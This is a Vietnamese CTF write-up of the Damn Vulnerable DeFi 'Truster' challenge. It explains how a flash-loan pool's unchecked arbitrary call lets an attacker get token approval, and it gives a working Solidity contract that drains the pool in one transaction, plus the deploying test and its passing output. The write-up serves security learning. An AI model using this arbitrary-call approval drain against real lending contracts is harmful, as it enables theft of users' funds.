KienDT

Talk is cheap. Show me the code.

Damn Vulnerable Defi writeups: 03 - Truster

Challenge #3 - Truster

Nhiệm vụ: Lần này ta có một pool cho phép flashloan không tính phí. Hiện giờ trong pool có 1M DVT token, ta thì đang không có gì. Mục tiêu của ta là lấy hết số token đó trong pool trong một transaction duy nhất.

Phân tích

Lending pool cung cấp cho chúng ta một hàm flashLoan như sau

function flashLoan(
    uint256 borrowAmount,
    address borrower,
    address target,
    bytes calldata data
)

sau khi thực hiện cho vay thì sẽ tiến hành hoàn trả bằng call với data trên target

damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);

ở đây có một vài điểm ta có thể khai thác:

  • không check điều kiện borrowAmount > 0
  • gọi hàm bất kì trên target bất kì do ta đưa vào

Do đó ta có hướng khai thác như sau:

  • tiến hành flash loan với borrowAmount = 0 để đỡ phải tiến hành hoàn trả
  • gọi hàm approve trên targettoken để ta có quyền rút tiền từ pool
  • tiến hành rút tiền từ pool
  • gói gọn tất cả lại trong 1 transaction bằng cách đưa chúng vào trong constructor của một contract mới

Exploit

Chuẩn bị contract tấn công như sau:

contract RektTruster {
    constructor(address poolAddress, address tokenAddress) {
        TrusterLenderPool pool = TrusterLenderPool(poolAddress);
        IERC20 token = IERC20(tokenAddress);
        pool.flashLoan(
            0,
            address(this),
            tokenAddress,
            abi.encodeWithSignature(
                "approve(address,uint256)",
                address(this),
                type(uint256).max
            )
        );
        token.transferFrom(
            poolAddress,
            tx.origin,
            token.balanceOf(poolAddress)
        );
    }
}

Tiến hành deploy là xong:

it('Exploit', async function () {
  /** CODE YOUR EXPLOIT HERE  */
  const RektTruster = await ethers.getContractFactory('RektTruster', attacker);
  await RektTruster.deploy(this.pool.address, this.token.address);
});

Check lại kết quả

[Challenge] Truster
  ✓ Exploit (213ms)


1 passing (705ms)

All done!